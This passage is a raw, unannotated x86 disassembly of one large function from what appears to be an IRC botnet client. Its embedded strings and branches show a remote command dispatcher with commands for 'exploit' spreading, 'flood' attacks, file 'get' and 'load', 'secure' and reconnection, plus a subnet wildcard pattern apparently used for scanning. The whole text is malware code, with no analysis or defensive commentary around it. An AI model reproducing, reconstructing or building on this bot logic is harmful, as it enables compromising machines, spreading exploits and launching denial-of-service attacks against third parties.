		push	offset unk_42BC38
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BC10
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBF0
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		call	near ptr 26808E8h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax

loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854

loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBD8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BBB8
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB98
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1

loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB74
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4041D3

loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------

loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		call	near ptr 2670914h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB38
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------

loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BB1C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB03C
		call	dword_4CAEFC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BB00
		jmp	short loc_404285
; ---------------------------------------------------------------------------

loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAE4

loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BACC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40438D

loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_404377
; ---------------------------------------------------------------------------

loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42BA94
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA7C
		call	sub_4151AC

loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA78
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------

loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx

loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA58
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40448F

loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_404479
; ---------------------------------------------------------------------------

loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42BA1C
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42BA04

loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9D8
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------

loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------

loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx

loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------

loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B988
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B954
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------

loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B944
		push	offset dword_42B934
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B928
		push	offset dword_42B918
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------

loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074

loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi

loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------

loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------

loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl

loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8F0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40470D

loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------

loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		call	near ptr 2670914h
		nop
		push	eax
		push	offset dword_42B8B4
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------

loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084

loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404813

loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------

loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42B848
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856

loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1

loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B814
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404911

loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		call	near ptr 2670914h
		nop
		push	eax
		push	offset dword_42B7D8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE

loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B728
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B718
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6EC
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B6C0
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9F4

loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE758, ebx
		jz	short loc_404A4A
		push	offset dword_4CE138

loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B684
		jmp	loc_404AE0
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B644
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------

loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE138
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE758, 1
		pop	ecx
		push	esi
		push	offset unk_42B618

loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------

loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404BE6

loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------

loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42B5A0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	near ptr 26808E8h
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
